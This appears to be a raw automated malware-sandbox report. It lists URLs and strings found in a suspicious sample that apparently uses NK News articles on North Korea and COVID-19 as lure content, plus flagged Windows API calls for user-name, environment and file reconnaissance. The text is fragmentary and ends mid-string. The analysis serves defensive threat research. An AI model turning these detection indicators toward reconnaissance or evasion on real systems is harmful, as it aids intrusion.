"https://www.nknews.org/wp-content/themes/nknews/css/lity.min.css" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/style.css?ver=1688713614" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/css/media-queries.css?ver=35464" Pattern match: "https://www.nknews.org/wp-content/plugins/leaky-paywall-ajax/js/es6-promise.auto.min.js" Pattern match: "https://www.nknews.org/wp-includes/js/jquery/jquery.min.js?ver=3.6.4" Pattern match: "https://www.nknews.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/popper.min.js" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/bootstrap.min.js" Pattern match: "https://www.nknews.org/wp-content/plugins/leaky-paywall-ajax/js/leaky-paywall-ajax.js?ver=45335" Pattern match: "https://www.nknews.org/wp-content/plugins/svg-support/vendor/DOMPurify/DOMPurify.min.js?ver=1.0.1" Pattern match: "https://js.stripe.com/v3" Pattern match: "https://www.nknews.org/wp-content/plugins/svg-support/js/min/svgs-inline-min.js?ver=1.0.1" Pattern match: "https://www.nknews.org/wp-content/plugins/wp-retina-2x/app/retina.min.js?ver=1688713614" Pattern match: "https://www.nknews.org/wp-content/plugins/leaky-paywall-coupons/js/leaky-paywall-coupons.js?ver=1.7.0" Pattern match: "https://www.nknews.org/wp-includes/wlwmanifest.xml" Pattern match: "https://www.nknews.org/?p=894443" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F10%2Fnorth-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19%2F" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F10%2Fnorth-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19%2F&format=xml" Pattern match: "https://www.nknews.org/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/header-logo-alt.png" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/header-logo.png" Pattern match: "https://www.nknews.org/category/news/" Pattern match: "https://www.nknews.org/category/featured-content/investigation/" Pattern match: "https://www.nknews.org/category/featured-content/features/" Pattern match: "https://www.nknews.org/category/featured-content/analysis/" Pattern match: "https://www.nknews.org/category/columns/" Pattern match: "https://www.nknews.org/category/featured-content/interview/" Pattern match: "https://www.nknews.org/category/featured-content/opinion-analysis/" Pattern match: "https://www.nknews.org/category/expert-surveys/" Pattern match: "https://www.nknews.org/category/featured-content/what-if/" Pattern match: "https://www.nknews.org/tag/cyber/" Pattern match: "https://www.nknews.org/category/nk-voices/ask-a-north-korean/" Pattern match: "www.nknews.org\/wp-content\/uploads\/2023\/04\/LOGGEDOUT_NK_Pro_Trial_Banner_Article_and_Category-1868-%C3%97-292-px-600-%C3%97-500-px.jpg\" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/banner.jpg" Pattern match: "https://www.nknews.org/content_author/jeongmin-kim/" Pattern match: "https://www.facebook.com/sharer/sharer.php?u=https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/" Pattern match: "https://twitter.com/intent/tweet?text=Foreigners" Pattern match: "https://www.facebook.com/RusEmbDPRK/posts/1464898460350605" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/daily-brush-stroke.png" Pattern match: "https://signup.nknews.org/north-korea-from-a-near-distance-tour/" Pattern match: "https://signup.nknews.org/korea-pro-about-trial/" Pattern match: "https://www.nknews.org/wp-admin/admin-ajax.php" Pattern match: "https://www.nknews.org/2023/07/seoul-warns-heavy-rain-to-hit-north-korea-calls-for-monitoring-water-levels/" Pattern match: "https://www.nknews.org/2023/07/north-korea-accuses-japan-of-bribing-iaea-to-approve-fukushima-water-discharge/" Pattern match: "https://www.nknews.org/2023/07/under-pressure-why-japan-is-pushing-for-a-north-korea-summit-with-new-urgency/" Pattern match: "https://www.nknews.org/wp-content/uploads/2019/12/jeongmin_kim_nknews_krg-40x40.jpg" Pattern match: "https://www.nknews.org/about-us/" Pattern match: "https://www.nknews.org/contact/" Pattern match: "https://www.nknews.org/opportunities/" Pattern match: "https://www.nknews.org/privacy-policy/" Pattern match: "https://www.nknews.org/terms-and-conditions-nk-news-pro/" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/nk-pro-ie-icon.png" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/dark_bg.jpg" Pattern match: "https://signup.nknews.org/" Pattern match: "https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19/?popup=signin" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/nkprobanner.jpg" Pattern match: "https://www.nknews.org/2020/10/north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19?popup=forgetpw" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/images/nk-private-browsing-icon.png" Pattern match: "www.nknews.org" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/jquery.bxslider.min.js" Pattern match: "https://www.nknews.org/wp-content/plugins/twenty20/assets/js/jquery.twenty20.js?ver=1.6.1" Pattern match: "https://www.nknews.org/wp-content/plugins/twenty20/assets/js/jquery.event.move.js?ver=1.6.1" Pattern match: "www.nknews.org,onHoverDelay:100,rateThrottle:3" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/jquery.sticky.js" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/stickyfill.min.js" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/signup/app.js?ver=56053" Pattern match: "https://www.nknews.org/wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.17" Pattern match: "https://www.nknews.org/wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=6.2.2" Pattern match: "https://www.nknews.org/wp-includes/js/mediaelement/wp-mediaelement.min.js?ver=6.2.2" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/lity.min.js" Pattern match: "www.nknews.org\/wp-admin\/admin-ajax.php" Pattern match: "https://www.nknews.org/wp-content/themes/nknews/js/main-script.js?ver=1688713614" Pattern match: "https://www.nknews.org/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js" Pattern match: "https://contact.nknews.org/modules/chat/js/widget.js?v=2553" Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/" Pattern match: "https://www.nknews.org/wp-content/uploads/2020/08/kju-aug13-politburo-rodong-1-535x325.png" Pattern match: "https://schema.org,@graph:[{@type:Article,@id:https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/#article,isPartOf:{@id:https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north" Pattern match: "https://www.nknews.org/?p=890942" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F08%2Fkaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un%2F" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F08%2Fkaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un%2F&format=xml" Pattern match: "https://www.nknews.org/content_author/colin-zwirko/" Pattern match: "https://www.facebook.com/sharer/sharer.php?u=https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/" Pattern match: "https://twitter.com/intent/tweet?text=Flood" Pattern match: "https://kcnawatch.org/newstream/1597368846-741063083/16th-meeting-of-political-bureau-of-7th-central-committee-of-wpk-held/" Pattern match: "https://www.nknews.org/2023/07/kim-jong-un-visits-kumsusan-palace-to-mark-kim-il-sungs-death-anniversary/" Pattern match: "https://www.nknews.org/wp-content/uploads/2018/05/colin_nknews_nkpro-40x40.jpg" Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/?popup=signin" Pattern match: "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un?popup=forgetpw" Pattern match: "https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/" Pattern match: "https://www.nknews.org/wp-content/uploads/2020/08/Nampho-portside_-NK-News-_-file-photo-535x325.png" Pattern match: "https://schema.org,@graph:[{@type:Article,@id:https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/#article,isPartOf:{@id:https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to" Pattern match: "https://www.nknews.org/?p=891211" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F08%2Funicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july%2F" Pattern match: "https://www.nknews.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.nknews.org%2F2020%2F08%2Funicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july%2F&format=xml" Pattern match: "https://www.facebook.com/sharer/sharer.php?u=https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/" Pattern match: "https://twitter.com/intent/tweet?text=The" Pattern match: "https://reliefweb.int/sites/reliefweb.int/files/resources/UNICEF%20EAPRO%20COVID-19%20Situation%20Report%20No.%2011%2C%2022%20July%20-%2014%20August%202020.pdf" Pattern match: "https://www.nknews.org/2023/07/north-korea-threatens-to-shoot-down-us-reconnaissance-planes/" Pattern match: "https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july/?popup=signin" Pattern match: "https://www.nknews.org/2020/08/unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-july?popup=forgetpw" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "www.microsoft.com0" Pattern match: "http://www.w3.org/1999/xhtml/vocab" Pattern match: "http://drupal.org" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/favicon.ico" Pattern match: "https://www.un.org/sites/un2.un.org/files/field/image/1583952355.1997.jpg" Pattern match: "https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f)" Pattern match: "https://www.un.org/modules/system/system.base.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/calendar/css/calendar_multiday.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/date/date_repeat_field/date_repeat_field.css?rvu2py" Pattern match: "https://www.un.org/modules/field/theme/field.css?rvu2py" Pattern match: "https://www.un.org/modules/node/node.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/views/css/views.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/media/modules/media_wysiwyg/css/media_wysiwyg.base.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/ctools/css/ctools.css?rvu2py" Pattern match: "https://www.un.org/modules/locale/locale.css?rvu2py" Pattern match: "https://cdn.jsdelivr.net/npm/bootstrap@3.4.1/dist/css/bootstrap.css" Pattern match: "https://cdn.jsdelivr.net/npm/@unicorn-fail/drupal-bootstrap-styles@0.0.2/dist/3.3.1/7.x-3.x/drupal-bootstrap.css" Pattern match: "https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700|Roboto+Slab:400,700|Roboto:300,400,400i,500,700&display=swap&subset=cyrillic" Pattern match: "https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/css/style.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/css/bootstrap-accessibility.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/css/style-chronicle.css?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/css/style-wss.css?rvu2py" Pattern match: "html5shiv.googlecode.com/svn/trunk/html5.js" Pattern match: "https://www.un.org/sites/un2.un.org/modules/jquery_update/replace/jquery/2.2/jquery.min.js?v=2.2.4" Pattern match: "https://www.un.org/sites/un2.un.org/modules/jquery_update/replace/jquery-migrate/1/jquery-migrate.min.js?v=1" Pattern match: "https://www.un.org/misc/jquery-extend-3.4.0.js?v=2.2.4" Pattern match: "https://www.un.org/misc/jquery-html-prefilter-3.5.0-backport.js?v=2.2.4" Pattern match: "https://www.un.org/misc/jquery.once.js?v=1.2" Pattern match: "https://www.un.org/misc/drupal.js?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/modules/jquery_update/js/jquery_browser.js?v=0.0.1" Pattern match: "https://cdn.jsdelivr.net/npm/bootstrap@3.4.1/dist/js/bootstrap.js" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/js/bootstrap-add-clear/bootstrap-add-clear.min.js?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/js/bootstrap-accessibility.min.js?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/js/dropdown.js?rvu2py" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/js/custom.js?rvu2py" Pattern match: "https://www.googletagmanager.com/ns.html?id=GTM-PD5P6B6" Pattern match: "https://www.googletagmanager.com/ns.html?id=GTM-LQCS" Pattern match: "un2.un.org/files/tiktok_1.svg" Pattern match: "https://www.un.org/sites/un2.un.org/files/arrow.png" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap_un2/logo.png" Pattern match: "https://www.un.org/sites/un2.un.org/files/2020/04/covid19_response_icon.svg" Pattern match: "https://www.un.org/en/ombudsman/" Pattern match: "https://www.un.org/sites/un2.un.org/files/2021/02/flag-juba.jpg" Pattern match: "https://www.un.org/sites/un2.un.org/files/2021/02/new_dhmosh_covid-19_faq.pdf" Pattern match: "https://apps.who.int/iris/rest/bitstreams/1319378/retrieve#:~:text=The%20World%20Health%20Organization%20" Pattern match: "https://www.who.int/emergencies/diseases/novel-coronavirus-2019/situation-reports/" Pattern match: "https://www.un.org/sites/un2.un.org/files/coronavirus_vaccinefaq.pdf" Pattern match: "https://www.who.int/emergencies/diseases/novel-coronavirus-2019/travel-advice" Pattern match: "https://www.addtoany.com/share" Pattern match: "https://static.addtoany.com/menu/page.js" Pattern match: "https://www.un.org/en/" Pattern match: "https://www.un.org/en/site-index" Pattern match: "https://www.un.org/sites/un2.un.org/themes/bootstrap/js/bootstrap.js?rvu2py"43:T1254,Found string "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-un/?t=1603769778434" (Indicator: "aes"; File: "70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin") file/memory contains long string with (Indicator: "aes"; File: "tlworker.exe") Found string "These border closures strengthened after a redefector suspected of carrying COVID-19 entered the city of Kaesong and caused a regional lockdown in July 2020." (Indicator: "aes"; File: "70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin") Found string "Afterwards, North Korean leader Kim Jong Un even declared that the country HYPERLINK "https://www.nknews.org/2020/08/kaesong-lockdown-lifted-at-north-korJ" (Indicator: "aes"; File: "70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin"), file/memory contains long string with (Indicator: "aes"; File: "70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin"), file/memory contains long string with (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "Kaesong lockdown lifted at North Korean Politburo meeting led by Kim Jong Un | NK News" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "

" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string " " (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434"), Found string "" (Indicator: "aes"; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434")44:Tcd4,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")45:T49e,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")46:T929,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")47:T4b6,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")48:T68e,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")49:Taf0,Found string "" (Indicator: "password"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "password"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "password"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string ".password-hint{font-size: 12px;font-weight: 400;text-transform: none;}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint ul{padding-left:0px;margin-top: 5px;}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint li{list-style: none;height: 15px;}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint li::before{content:" ";padding-right: 10px;font-family: "DIN";}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint li.done::before{content: "";}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint .error{color: #ce2e2c;}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string ".password-hint .done::marker{content: "";font-family: "DIN";}" (Indicator: "password"; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") file/memory contains long string with (Indicator: "secret"; File: "urlref_httpswww.un.orgencoronaviruscovid-19-faqs") Found string "

Both the ill individual and you, as the caregiver, should perform hand hygiene after contact with respiratory secretions.

